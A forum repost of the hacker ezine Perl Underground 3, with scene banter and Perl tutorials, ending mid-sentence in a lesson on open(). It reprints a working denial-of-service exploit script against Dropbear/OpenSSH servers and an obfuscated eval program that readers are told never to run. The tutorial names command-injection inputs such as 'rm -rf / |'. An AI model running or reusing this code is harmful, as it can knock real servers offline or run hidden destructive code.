‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[转载][ezine] Perl Underground 3

pub!1c

魔

团队执行官

Rank: 8Rank: 8

E.S.T核心成员

帖子
3926 
精华
128 
积分
209876 
阅读权限
200 
性别
男 
在线时间
1107 小时 
注册时间
2007-10-23 
最后登录
2008-8-29 

资料收集奖 运营支持奖

楼主 大 中 小 发表于 2006-10-22 09:34  只看该作者

[转载][ezine] Perl Underground 3

信息来源：milw0rm.com


              $$$$$$$$$  $$$$$$$$$$$    $$$$$$$$$    $$$$                  
             $$$$$$$$$$$  $$$$$$$$$$$  $$$$$$$$$$$   $$$$                  
             $$$$   $$$$      $$$$  $$$$   $$$$  $$$$                  
             $$$$ 3  $$$$      $$$$  $$$$  3 $$$$  $$$$                  
             $$$$   $$$$    $$$$$$$   $$$$   $$$$  $$$$  3                 
             $$$$$$$$$$$    $$$$$$$   $$$$$$$$$$$   $$$$                  
             $$$$$$$$$$        $$$$  $$$$$$$$$$    $$$$                  
             $$$$            $$$$  $$$$  $$$$    $$$$                  
             $$$$       $$$$$$$$$$$  $$$$  $$$$   $$$$$$$$$$$              
             $$$$      $$$$$$$$$$$   $$$$   $$$$   $$$$$$$$$$$        
            
                                                   
       $$$$    $$$$  $$$$    $$$$  $$$$$$$$$$  $$$$$$$$$$$    $$$$$$$$$$        
       $$$$    $$$$  $$$$$  3  $$$$  $$$$$$$$$$$  $$$$$$$$$$$  $$$$$$$$$$$$        
       $$$$    $$$$  $$$$$$   $$$$  $$$$   $$$$      $$$$  $$$$    $$$$      
       $$$$  3  $$$$  $$$$$$$  $$$$  $$$$   $$$$      $$$$  $$$$  3  $$$$      
       $$$$    $$$$  $$$$ $$$  $$$$  $$$$ 3  $$$$    $$$$$$$   $$$$    $$$$      
       $$$$    $$$$  $$$$  $$$ $$$$  $$$$   $$$$    $$$$$$$   $$$$$$$$$$$$        
       $$$$    $$$$  $$$$  $$$$$$$  $$$$   $$$$      $$$$  $$$$$$$$$$$        
       $$$$    $$$$  $$$$   $$$$$$  $$$$   $$$$      $$$$  $$$$  $$$$        
       $$$$$$$$$$$$$  $$$$  3  $$$$$  $$$$$$$$$$$  $$$$$$$$$$$  $$$$   $$$$        
        $$$$$$$$$$$   $$$$    $$$$  $$$$$$$$$$  $$$$$$$$$$$   $$$$    $$$$

      
  $$$$$$$$$    $$$$$$$$$$    $$$$$$$$$$$   $$$$    $$$$  $$$$    $$$$  $$$$$$$$$$$
$$$$$$$$$$$  $$$$$$$$$$$$   $$$$$$$$$$$$$  $$$$  3  $$$$  $$$$$  3  $$$$  $$$$$$$$$$$$
$$$$  $$$$  $$$$    $$$$  $$$$    $$$$  $$$$    $$$$  $$$$$$   $$$$  $$$$    $$$$
$$$$ 3 $$$$  $$$$  3  $$$$  $$$$    $$$$  $$$$    $$$$  $$$$$$$  $$$$  $$$$    $$$$
$$$$       $$$$    $$$$  $$$$  3  $$$$  $$$$    $$$$  $$$$ $$$  $$$$  $$$$  3  $$$$
$$$$  $$$    $$$$$$$$$$$$   $$$$    $$$$  $$$$    $$$$  $$$$  $$$ $$$$  $$$$    $$$$
$$$$ 3 $$$$  $$$$$$$$$$$    $$$$    $$$$  $$$$  3  $$$$  $$$$  $$$$$$$  $$$$    $$$$
$$$$  $$$$  $$$$  $$$$    $$$$    $$$$  $$$$    $$$$  $$$$   $$$$$$  $$$$    $$$$
$$$$$$$$$$   $$$$ 3  $$$$   $$$$$$$$$$$$$  $$$$$$$$$$$$$  $$$$  3  $$$$$  $$$$$$$$$$$$
  $$$$$$$$    $$$$    $$$$   $$$$$$$$$$$    $$$$$$$$$$$   $$$$    $$$$  $$$$$$$$$$$

[root@yourbox.anywhere]$ date
Sun Aug 13 18:16:19 EDT 2006

[root@yourbox.anywhere]$ perl justlayitout.pl

00. TOC
01. Part One: Summer Time
02. EyeDropper You
03. Another str0ke
04. School You: japhy
05. prdelka's cameo
06. School You: mauke
07. (K-)sPecial boy
08. School You: McDarren
09. Random Noob: Qex
10. School You: xdg
11. Token PHP noob
12. Hello bantown
13. !dSR !good
14. School You: MJD
15. Intermission
16. Part Two: Back to School
17. brian d fucking foy
18. School You: davido
19. Antisec antiperls
20. School You: atcroft
21. Russian for the fall
22. Hello s0ttle
23. RoMaNSoFt is TwEaKy
24. School You: merlyn
25. oh noez spiderz
26. Hello h0no
27. Killer str0ke
28. Shoutz and Outz

[root@yourbox.anywhere]$ perl rockon.pl

-[0x01] # Part One: Summer Time ------------------------------------------

<nemo> i had to be in a .txt
<nemo> i&#39;m glad it&#39;s this one :p
<nemo> and not my ~/

Summer is here in its full joyous being. Let us all relax and enjoy ourselves.
Let us have fun. Write some obfuscations. Play some golf. Write fun code and
have fun coding and critiquing with your friends. Read and laugh. This issue
is less talk and more code. This is Perl Underground 3.

-[0x02] # EyeDropper You -------------------------------------------------

Would you like some cheap 0day obfuscation?

Here you go, sweet-rose.pl

eval eval &#39;"&#39;.


                                              &#39;`&#39;.&#39;\\&#39;.&#39;\\&#39;.(&#39;[&#39;^&#39;#&#39;).
                                              (&#39;^&#39;^(&#39;`&#39;|&#39;-&#39;)).((&#39;^&#39;)^(
                                           &#39;`&#39;|&#39;,&#39;)).&#39;\\&#39;.&#39;\\&#39;.(&#39;[&#39;^&#39;#&#39;).(&#39;^&#39;
                                           ^(&#39;`&#39;|&#39;-&#39;)).(&#39;`&#39;^"\%").&#39;\\&#39;.&#39;\\&#39;.(
                                          &#39;[&#39;^&#39;#&#39;).(&#39;^&#39;^           (&#39;`&#39;|&#39;(&#39;
                                          )).(&#39;^&#39;^("\`"|           (&#39;*&#39;))).
                                        &#39;\\&#39;.&#39;\\&#39;.    (&#39;[&#39;^&#39;#&#39;).(&#39;^&#39;^(   &#39;`&#39;|&#39;,&#39;)).
                                        (&#39;^&#39;^(&#39;`&#39;|    &#39;.&#39;)).&#39;\\&#39;.&#39;\\&#39;.   (&#39;[&#39;^&#39;#&#39;).
                                       (&#39;^&#39;^(&#39;`&#39;|   &#39;)&#39;)).(&#39;^&#39;           ^(&#39;`&#39;|&#39;,&#39;)
                                       ).&#39;\\&#39;.&#39;&#39;.   &#39;\\&#39;.(&#39;[&#39;^           &#39;#&#39;).(&#39;^&#39;^
                                      (&#39;`&#39;|&#39;(&#39;)).(   &#39;`&#39;^&#39;$&#39;)   .&#39;\\&#39;.&#39;\\&#39;    .(&#39;[&#39;^&#39;#&#39;).(
                                      &#39;^&#39;^(&#39;`&#39;|&#39;,&#39;   )).(&#39;^&#39;^   (&#39;`&#39;|&#39;.&#39;))    .&#39;\\&#39;.&#39;\\&#39;.(
                                      &#39;[&#39;^&#39;#&#39;).(   &#39;^&#39;^("\`"|   &#39;,&#39;)).("\`"^   &#39;$&#39;).(&#39;\\&#39;).
                                      &#39;\\&#39;.(&#39;[&#39;^   &#39;#&#39;).(&#39;^&#39;^   (&#39;`&#39;|&#39;)&#39;)).(   &#39;^&#39;^(&#39;`&#39;|&#39;,&#39;
                            )).(&#39;\\&#39;).   &#39;\\&#39;.(&#39;[&#39;^   &#39;#&#39;).("\^"^(           &#39;`&#39;|&#39;(&#39;)).(&#39;^&#39;
                            ^(&#39;`&#39;|&#39;(&#39;)   ).&#39;\\&#39;.&#39;&#39;.   &#39;\\&#39;.((&#39;[&#39;)^           &#39;#&#39;).(&#39;^&#39;^(&#39;`&#39;
                        |&#39;,&#39;)).(&#39;^&#39;^(&#39;`&#39;|&#39;.&#39;  )).(&#39;\\&#39;).   &#39;\\&#39;.(&#39;[&#39;^&#39;#&#39;).(&#39;^&#39;^(&#39;`&#39;|&#39;,&#39;)).(&#39;`&#39;^&#39;&&#39;)
                        .&#39;`&#39;.(&#39;!&#39;^&#39;+&#39;)."\"";  $:=&#39;.&#39;^&#39;~&#39;   ;$~=&#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;
                        ^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|   &#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;$,   ="\["&
                        &#39;~&#39;;$\=&#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~="\@"|   &#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,   ="\("^
                        &#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;    ;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;   ;$,=&#39;[&#39;&
                        &#39;~&#39;;$\=&#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|&#39;(&#39;    ;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;   ;$,=&#39;(&#39;^
                        &#39;}&#39;;$\=&#39;`&#39;|(&#39;!&#39;);$:=   &#39;)&#39;^&#39;}&#39;;$~="\*"|      &#39;`&#39;;$^="\+"^    "\_";$/=
                        &#39;&&#39;|&#39;@&#39;;$,=&#39;[&#39;&"\~";   $\=&#39;,&#39;^(&#39;|&#39;);$:=      &#39;.&#39;^"\~";$~=    &#39;@&#39;|&#39;(&#39;;
                          $^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;   $,=&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|           &#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;
                          $^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;   $,=&#39;[&#39;&&#39;~&#39;;$\=&#39;,&#39;^           &#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|&#39;(&#39;;
                           $^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,   =&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^(&#39;_&#39;);$/=
                           &#39;&&#39;|&#39;@&#39;;$,=&#39;[&#39;&(&#39;~&#39;);$\=   &#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;
                              ^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:=&#39;)&#39;   ^&#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;$,   =&#39;[&#39;&"\~";
                              $\=&#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;   $~=&#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;^   &#39;}&#39;;$\=&#39;`&#39;
                                |&#39;!&#39;;$:=&#39;)&#39;^"\}";$~=   &#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;$,=&#39;[&#39;   &&#39;~&#39;;$\=&#39;,&#39;^
                                &#39;|&#39;;$:=&#39;.&#39;^(&#39;~&#39;);$~=   &#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;   ^&#39;}&#39;;$\=&#39;`&#39;|
                                   &#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=   (&#39;*&#39;)|    &#39;`&#39;;$^=&#39;+&#39;^(&#39;_&#39;);$/=   &#39;&&#39;|&#39;@&#39;;$,="\["&
                                   &#39;~&#39;;$\=&#39;,&#39;^&#39;|&#39;;$:=   (&#39;.&#39;)^    &#39;~&#39;;$~=&#39;@&#39;|(&#39;(&#39;);$^=   &#39;)&#39;^&#39;[&#39;;$/="\`"|
                                  &#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|   "\!";$:=        (&#39;)&#39;)^    &#39;}&#39;;$~=&#39;*&#39;|(&#39;`&#39;);$^=
                                  &#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;$,=   &#39;[&#39;&&#39;~&#39;;        $\=&#39;,&#39;    ^&#39;|&#39;;$:=&#39;.&#39;^"\~";$~=
                                  &#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;;$\=        &#39;`&#39;|&#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=
                                  &#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;$,=&#39;[&#39;&&#39;~&#39;;$\=        &#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=
                                  &#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;$^
                                  =&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;$,=&#39;[&#39;&&#39;~&#39;;$\=&#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^"\[";
                                  $/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:=          (&#39;)&#39;)^       &#39;}&#39;;$~
                                  =&#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|(&#39;@&#39;);$,=          (&#39;[&#39;)&       &#39;~&#39;;$\
                                   =&#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|&#39;(&#39;
                                   ;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=&#39;(&#39;^
                                    &#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;    ;($:)=
                                    &#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;    |"\`";
                                                  $^=&#39;+&#39;
                                                  ^"\_";
                                                $/=&#39;&&#39;
                                                |"\@";
                                                $,=&#39;[&#39;
                                                &"\~";
                                                $\=&#39;,&#39;
                                                ^"\|";
                    $:  =&#39;.&#39;^&#39;~&#39;;$~=(&#39;@&#39;)|            &#39;(&#39;;$^
                    =(  &#39;)&#39;)^&#39;[&#39;;$/=(&#39;`&#39;)|            &#39;.&#39;;$,
                    =&#39;(&#39;   ^&#39;}&#39;;$\=&#39;`&#39;|"\!";$:=        (&#39;)&#39;)^
                    &#39;}&#39;;   $~=&#39;*&#39;|&#39;`&#39;;$^=(&#39;+&#39;)^        &#39;_&#39;;$/
                   =&#39;&&#39;|"\@";   $,=&#39;[&#39;&&#39;~&#39;;$\=(&#39;,&#39;)^    &#39;|&#39;;$:
                   =&#39;.&#39;^"\~";   $~=&#39;@&#39;|&#39;(&#39;;$^=(&#39;)&#39;)^    &#39;[&#39;;$/
                    =&#39;`&#39;|&#39;.&#39;;$,=   &#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;   ;($:)=
                    &#39;)&#39;^"\}";$~=   &#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;   ;($/)=
                        &#39;&&#39;|&#39;@&#39;;$,   =&#39;[&#39;&&#39;~&#39;;$\=   (&#39;,&#39;)^
                        &#39;|&#39;;$:=&#39;.&#39;   ^&#39;~&#39;;$~=&#39;@&#39;|   &#39;(&#39;;$^
                           =&#39;)&#39;^"\[";  $/=&#39;`&#39;      |"\.";
                           $,=&#39;(&#39;^&#39;}&#39;  ;($\)=      (&#39;`&#39;)|
                &#39;!&#39;;$:="\)"^      &#39;}&#39;;$~="\*"|   &#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|
                &#39;@&#39;;$,="\["&      &#39;~&#39;;$\="\,"^   &#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|
            &#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|        &#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:="\)"^
            &#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^        &#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;$,=&#39;[&#39;&&#39;~&#39;;$\="\,"^
        &#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|   &#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|   &#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;
        $:=&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;   $^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;   $,=&#39;[&#39;&&#39;~&#39;;$\=&#39;,&#39;^"\|";$:=
      &#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|&#39;(&#39;;$^=   &#39;)&#39;^&#39;[&#39;;$/="\`"|  &#39;.&#39;;$,="\("^   &#39;}&#39;;$\=&#39;`&#39;|&#39;!&#39;;$:=(&#39;)&#39;)^
      &#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^   &#39;_&#39;;$/=&#39;&&#39;|"\@";  $,=&#39;[&#39;&"\~";   $\=&#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;;$~
   =&#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/   =&#39;`&#39;|&#39;.&#39;;$,=(&#39;(&#39;)^   &#39;}&#39;;$\=&#39;`&#39;|"\!";   $:=&#39;)&#39;^&#39;}&#39;;$~=(&#39;*&#39;)|
   &#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|   &#39;@&#39;;$,=&#39;[&#39;&&#39;~&#39;;$\=   &#39;,&#39;^&#39;|&#39;;$:="\."^   &#39;~&#39;;$~=&#39;@&#39;|(&#39;(&#39;);$^=
  &#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|"\.";   $,=&#39;(&#39;^&#39;}&#39;;$\=&#39;`&#39;|       &#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;$~=   &#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;
  ;$/=&#39;&&#39;|&#39;@&#39;;$,="\["&   &#39;~&#39;;$\=&#39;,&#39;^&#39;|&#39;;$:=       &#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|&#39;(&#39;   ;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;
|&#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;;$\   =&#39;`&#39;|&#39;!&#39;;$:=&#39;)&#39;^&#39;}&#39;;        $~=&#39;*&#39;|&#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;   $/=&#39;&&#39;|&#39;@&#39;;$,=
&#39;[&#39;&&#39;~&#39;;$\=&#39;,&#39;^&#39;|&#39;   ;$:=&#39;.&#39;^&#39;~&#39;;$~="\@"|        &#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|   &#39;.&#39;;$,=&#39;(&#39;^&#39;}&#39;
;$\=&#39;`&#39;|&#39;!&#39;;$:   =&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;            $^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|&#39;@&#39;;   $,=&#39;[&#39;&"\~";
$\=&#39;,&#39;^&#39;|&#39;;$:=   &#39;.&#39;^&#39;~&#39;;$~=&#39;@&#39;|"\(";            $^=&#39;)&#39;^&#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;   $,=&#39;(&#39;^"\}";
$\=&#39;`&#39;|"\!";  $:=&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|                   &#39;`&#39;;$^=&#39;+&#39;^&#39;_&#39;;$/=&#39;&&#39;|   "\@";$,=
&#39;[&#39;&"\~";$\=  &#39;,&#39;^&#39;|&#39;;$:=&#39;.&#39;^&#39;~&#39;                   ;$~=&#39;@&#39;|&#39;(&#39;;$^=&#39;)&#39;^&#39;[&#39;   ;$/=&#39;`&#39;|
&#39;.&#39;;$,=&#39;(&#39;  ^&#39;}&#39;;$\=(&#39;`&#39;)|                      &#39;!&#39;;$:   =&#39;)&#39;^&#39;}&#39;;$~=&#39;*&#39;|   &#39;`&#39;;$^
=&#39;+&#39;^"\_";  $/=&#39;&&#39;|&#39;@&#39;;$,=                      (&#39;[&#39;)&   &#39;~&#39;;$\=&#39;,&#39;^"\|";   $:=&#39;.&#39;
^&#39;~&#39;;$~=  &#39;@&#39;|&#39;(&#39;;$^                          ="\)"^    &#39;[&#39;;$/=&#39;`&#39;|&#39;.&#39;;$,=  &#39;(&#39;^
"\}";$\=  &#39;`&#39;|&#39;!&#39;;$:                          ="\)"^    &#39;}&#39;;$~=&#39;*&#39;|&#39;`&#39;;$^=  &#39;+&#39;^
&#39;_&#39;;$/  =&#39;&&#39;|&#39;@&#39;                            ;($,)=           &#39;[&#39;&&#39;~&#39;;$\=&#39;,&#39;
^"\|";  $:="\."^                            &#39;~&#39;;$~           =&#39;@&#39;|(&#39;(&#39;);$^=
&#39;)&#39;^  &#39;[&#39;;$/                              ="\`"|
&#39;.&#39;;  $,=&#39;(&#39;                              ^"\}";
$\=&#39;`&#39;|&#39;!&#39;                               ;($:)=
&#39;)&#39;^&#39;}&#39;;$~                               ="\*"|
  &#39;`&#39;;                                  $^=&#39;+&#39;
  ^&#39;_&#39;                                  ;($/)=
                                    (&#39;&&#39;)|
                                    &#39;@&#39;;$,
                                    ="\["&
                                    &#39;~&#39;;$\
                                    ="\,"^
                                    &#39;|&#39;;#;

Listen up. Don&#39;t ever run that. The obfu is too fu for you.

-[0x03] # Another str0ke -------------------------------------------------

Remember this?

#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo&#39;s code running properly.
##
## Straight from Pablo Fernandez&#39;s advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#      if (childpipes[j] < 0) {
#           break;
#      }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#      /* no free connections */
#      /* TODO - possibly log, though this would be an easy way
#      * to fill logs/disk */
#      close(childsock);
#      continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

# str0ke, it has been a pleasure.
# This script now comes across as intelligent and someone might take it seriously.
# Naturally I may have some reservations about some choices, but to each their own.

sub usage
{
   print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
   print "by /str0ke (milw0rm.com)\n";
   print "Credits to Pablo Fernandez\n";
   print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
   exit ();
}

sub exploit
{
   my ($serv, $port, $sleep) = @_;
   my $sock = new IO::Socket::INET ( PeerAddr => $serv,
   PeerPort => $port,
   Proto => &#39;tcp&#39;,
   );

   die "Could not create socket: $!\n" unless $sock;
   sleep $sleep;
   close($sock);
}

sub thread {
   print "Server: $serv\nPort: $port\nSeconds: $time\n";
   for my $i ( 1 .. 51 ) {
      print ".";
      my $thr = new Thread \&exploit, $serv, $port, $time;
   }
   sleep $time; #detach wouldn&#39;t be good
}

if (@ARGV != 3){&usage;}else{&thread;}

I have one remaining issue.
This is the one line we harshly criticized that we didn&#39;t offer a direct syntax replacement for.
Naturally, you did not do your own research and find out a witty or attractive way to fix that.
This sin, and others, contradict with your pleasant handling of the situation.
I am displeased that you have not made an effort to fix other scripts of yours.
I am curious as to why you removed Perl Underground from your site.
I am curious as to why Perl Underground was on your site for a time in the first place.
I am disappointed that I have not seen more recent Perl from you.
I hope we have not scared you off.
Question weighs more than answer, and your code will be criticized in this issue.

-[0x04] # School You: japhy ----------------------------------------------

"Open, Sesame!"
If you&#39;ve used Perl for a week, you&#39;re probably familiar with the task of opening a file, either to
read from or write to it. Here&#39;s a simple refresher course for you -- some of it involves Perl 5.6,
which lets you do some nifty things with open(). There are three basic operations you use a
filehandle for: reading, writing, and appending. You can also read and write (or read and append)
to files, and you can read from to write to a program (from its output, or to its input).

# error-checking would, of course, be used

open FILE, "filename";      # read
open FILE, "< filename";   # read (explicit)
open FILE, "> filename";   # overwrite
open FILE, ">> filename";  # append
open FILE, "+< filename";  # read and write
open FILE, "+> filename";  # read and overwrite (clobber first)
open FILE, "+>> filename";  # read and append
open FILE, "program |";    # read from program
open FILE, "| program";    # write to program
For safety&#39;s sake, the explicit forms should always be used, and with a space between the mode and
the filename. Here&#39;s an example of why:

chomp(my $filename = <STDIN>);
open FILE, $filename;
This allows the user pass anything from "< /etc/passwd" to "rm -rf / |" to your open() call,
neither of which you&#39;d be too happy to permit. For the same reason, using open(F, ">$filename")
isn&#39;t enough either -- the user could slip an extra > in on you and cause you to append, rather
than overwrite.

Perl 5.6 allows an even greater extent of control: a multi-argument form of open():

# open FILEHANDLE, MODE, EXPR

open FILE, "<", $filename;  # read from $filename
If you want to pipe to a program, the MODE should be "|-"; if you want to pipe from a program, the
MODE should be "-|". In the case of call programs, you can send a list of arguments after the
program name:

# open FILEHANDLE, MODE, EXPR, LIST

open LS, "-|", "ls", "-R";
That invokes ls with the -R switch (for recursive listing), and returns the output to Perl.

Finally, Perl 5.6 allows you to use an undefined lexical (a my variable) in the place of the
filehandle. This allows you to use filehandles as variables more easily -- using them in objects,
passing them to functions, etc.

for my $f (@listing) {
  open my($fh), "<", $f;
  push @files, $fh;
}
Obfuscorner
If you only send a filehandle to open(), Perl will look for a package variable (not a lexical) of
the same name, and use the value of that variable as the filename to open. A simple use of this is
to open the program itself; since $0 holds the name of the program, you can simply write:

open 0;  # like:  open 0, $0
Whose Line Is It, Anyway?
Files are not made up of lines. Files are made up of sequential bytes. A "line" is a made-up
concept which only applies to text files (who cares how many "lines" there are in a JPEG?). The
standard definition of a line is a sequence of zero or more bytes ending with a newline. Whether
that is \n or \r\n or \n\r is up to your OS to decide. But who cares about "lines"? Perl is more
interested in records.

A record is a sequence of bytes separated from other records by some other sequence of bytes. A
"line" is merely a record with a separator \n (or whatever). What good are records, though, if Perl
keeps reading lines? Well, just tell Perl not to read a line!

open FORTUNE, "< /usr/share/games/fortunes/art";
{
  local $/ = "\n%\n";
  @fortunes = <FORTUNE>;
}
close FORTUNE;
This code makes use of the $/ variable -- the "input record separator" -- to change how much each
read of <FORTUNE> does. Instead of stopping at "\n", it stops at "\n%\n" (the separator of my
computer&#39;s fortune files). This means that we can read multiple "lines" at once. In fact, Perl has
two special values of $/ explicitly for that purpose:
Setting $/ to "" causes Perl to use "paragraph" mode; it will read a chunk of lines that is
followed by extra newlines -- in other words, a sequence of bytes ending in two or more newlines.
Setting $/ to undef causes Perl to read the rest of the file all at once.
In addition to the record-separator use of $/, you can set it to a reference to a positive integer,
which means that you will read that many bytes at on each read:

while (read(FILE, $buf, 1024)) { ... }

# is like

{
  local $/ = \1024;
  while ($buf = <FILE>) { ... }
}
If you&#39;re wondering why I continually local()ize $/, it is to make sure that the change to $/ are
restricted to where we want it. We don&#39;t want future filehandle-reads to be using the changed
value.

The $/ variable is also used by chomp() -- this function doesn&#39;t just remove a newline from the end
of its arguments, it removes the value of $/ from the end of them (if it&#39;s there).
Outputting Records
There are a couple of variables related to printing records as well. The $\ variable (the output
record separator) and the $, variable (the output field separator). The mnemonics for these two are
rather simple:
$\ goes where you put a \n in your print()
$, goes where you put a , in your print()
The fact that $\ and $/ share a mirrored character is not a mistake either -- they are related in
that each is the other&#39;s opposite.

How are they useful? They let you be obscenely lazy. Let&#39;s say you&#39;re playing with the /etc/passwd
file:

open PASSWD, "/etc/passwd"
  or die "can&#39;t read /etc/passwd: $!";
open MOD, "> /etc/weirdpasswd"
  or die "can&#39;t write to /etc/weirdpasswd: $!";

$\ = $/;  # ORS = IRS = "\n"
$, = ":";  # OFS = ","

while (<PASSWD>) {
  chomp;  # removes $/ from $_
  my @f = split $,;  # splits $_ on occurrences of $,
  # fool around with @f
  print MOD @f;
}

close MOD;
close PASSWD;
If we hadn&#39;t set $\ and $, in this code, the output file would have been one long line of fields,
with nothing in between each field, and no way to separate one record from the next. However, since
we have set them, we automatically append $\ to each print() statement, and automatically insert $,
in between each argument to print(). Here&#39;s the explicit code that doesn&#39;t use these two variables:

while (<PASSWD>) {
  chomp;
  my @f = split &#39;:&#39;;
  # fool around with @f
  print MOD join(&#39;:&#39;, @f), "\n";
}
While that may end up being more clear than the other, it&#39;s only that way because you&#39;ve not been
